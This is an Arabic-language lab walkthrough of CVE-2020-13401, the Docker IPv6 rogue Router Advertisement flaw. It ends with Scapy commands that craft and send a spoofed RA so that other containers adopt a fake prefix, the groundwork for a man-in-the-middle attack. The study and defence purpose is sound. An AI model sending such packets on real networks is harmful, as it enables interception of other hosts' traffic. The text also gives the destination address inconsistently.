
دراسة حول ثغرة CVE-2020-13401 في حاويات إصدارات دوكر الأقدم من 19.03.11
دراسة حول ثغرة CVE-2020-13401 في حاويات دوكر الأقدم من الإصدار 19.03.11
الحاويات التي يتم إنشاؤها باستخدام إصدارات Docker Engine قبل 19.03.11 معرّضة لاستقبال وتطبيق رسائل RA (إعلانات التوجيه) المزيفة القادمة من حاويات أخرى في الشبكة. يُعد استقبال رسائل RA سلوكًا طبيعيًا لنظام التشغيل، ولكن إذا لم يكن مُرسِل RA موثوقًا به في الشبكة، يمكن للحاوية الضحية استقبال الرسالة والانضمام إلى الشبكة ثم إرسال جميع حزم الشبكة إلى الموجّه المزيف الجديد (هجوم الرجل في المنتصف). لا تتعلق هذه المشكلة بـ IPv4 فهي مبنية على IPv6.
المصدر الأصلي لعنصر CVE: CVE-2020-13401
في إصدارات Docker Engine الأقدم من 19.03.11 تقبل الحاويات رسائل RA افتراضيًا. افترض وجود حاوية أخرى في الشبكة تمتلك إمكانية CAP_NET_RAW. هذا يعني أن هذه الحاوية يمكنها إنشاء أي حزم شبكة وإرسالها إلى الشبكة. لذا، يمكن استخدام هذه الحاوية كمصدر لصياغة الحزم. في الإصدارات الأحدث، لا تقبل الحاويات رسائل RA ما لم يتم تفعيل هذه الميزة على محرك دوكر. وبالتالي، قد يظل النظام عرضة للخطر إذا قرر مسؤول النظام تفعيل هذه الميزة.
يُنصح بشدة بتحديث Docker Engine لحماية بيئة الحاويات لديك من هذه الثغرة.
في هذه الدراسة أريد توضيح كيفية حدوث هذه الثغرة ورؤية كيف تتأثر حاويتنا برسالة RA
في الحاويات قيد التشغيل، أجريت اختبارًا للتحقق من عمل IPv6. لكنني اكتشفت أنه لا يوجد دعم لـ IPv6 افتراضيًا في الحاوية الخاصة بي. افتراضيًا، تكون جميع حاويات دوكر متصلة بشبكة bridge وهذه الشبكة لا تدعم IPv6. لتفعيل IPv6 في دوكر، يجب إضافة ملف daemon.json إلى المسار /etc/docker/. يجب أن تكون محتويات هذا الملف كما يلي:
{ "ipv6": true, "fixed-cidr-v6": "fd00::/80" }
من الممكن تعيين أي عنوان شبكة فرعية صالح لـ IPv6. بعد ذلك يجب إعادة تشغيل دوكر وقراءة ملف daemon من جديد بالكامل لتكوين شبكة الجسر الافتراضية الخاصة به. كما يمكن تعريف شبكة جديدة لدعم IPv6.
أوامر إعادة تحميل التكوين وإعادة تشغيل دوكر:
$ sudo systemctl daemon-reload$ sudo systemctl restart dockerحتى الآن لدينا دوكر يدعم IPv6، وقد حان الوقت لإنشاء الحاويات لبدء المحاكاة. نحتاج إلى حاويتين على الأقل. سأسميهما Ubuntu_1 و Ubuntu_2. على جهازك المضيف، استخدم الأوامر التالية لإنشاء الحاويات:
$ docker pull ubuntu
$ docker run --name ubuntu_1 -i -t ubuntu bash
$ docker run --name ubuntu_2 -i -t ubuntu bash
اعرض قائمة الحاويات الخاصة بك باستخدام هذا الأمر:
$ docker container ls -a
استخدم أسماء حاوياتك لتشغيلها:
$ docker container start -ai [CONTAINER NAME]
ستحتاج على كلا الحاويتين إلى بعض الأدوات الأساسية مثل:
| الأداة | أمر التثبيت |
|---|---|
| nano (أو أي محرر آخر) | apt-get install nano |
| net-tools | apt-get install net-tools |
| hping3 | apt-get install hping3 |
| tcpdump | apt-get install tcpdump |
| scapy | apt install python3-scapy (يُثبَّت فقط على حاوية واحدة) |
قم بتثبيت الأدوات المطلوبة وتحقق مما إذا كانت الحاويات متصلة. للقيام بذلك، احصل على عنوان IP الخاص بحاويتك ومعلومات الواجهات باستخدام أمر ifconfig. ثم استخدم ping -6 [destination IPv6] مع الحاوية الأخرى للتأكد من اتصالهما. يمكنك أيضًا استخدام tcpdump على الحاوية الوجهة لمشاهدة حزم ping المستلمة.
(تأكد من استخدام IPv6 عند ping الحاويات)
نريد إرسال رسالة RA مصممة خصيصًا من إحدى الحاويات في الشبكة وتحديث جدول IP الخاص بالحاويات الضحية.
أستخدم SCAPY لإنشاء رسائل إعلان الموجّه (Router Advertisement) الخاصة بـ IPv6. يعتمد Scapy على Python. خطوات التثبيت هي كما يلي:
$ sudo apt install python3-scapyحزمة RA هي حزمة بث (broadcast)، وهذا يعني أنه يجب تسليمها إلى جميع عُقد الشبكة. كما أنها تستند إلى قواعد IPv6. لذا، فإن عنوان الوجهة هو ff01::1 والبروتوكول يعتمد على ICMPv6.
شغّل Scapy:
$ scapy
أستخدم هذه الأوامر لصياغة الحزمة وإرسالها إلى الشبكة:
a = IPv6()
a.dst = "ff02::1"
a.display()
b = ICMPv6ND_RA()
b.display()
c = ICMPv6NDOptSrcLLAddr()
c.lladdr = "02:42:ac:11:00:02"
c.display()
d = ICMPv6NDOptMTU()
d.display()
e = ICMPv6NDOptPrefixInfo()
e.prefixlen = 64
e.prefix = "d00d::"
e.display()
send(a/b/c/d/e)
بعد إرسال الحزمة، انتقل إلى الحاويات الأخرى واستخدم ifconfig مرة أخرى. ستلاحظ أن جدول IP الخاص بك يتم تحديثه بعد استلام رسائل RA.
يمكنك سحب صور دوكر المخصصة الخاصة بي لاختبار ودراسة هذه المشكلة: صور Docker المخصصة الخاصة بي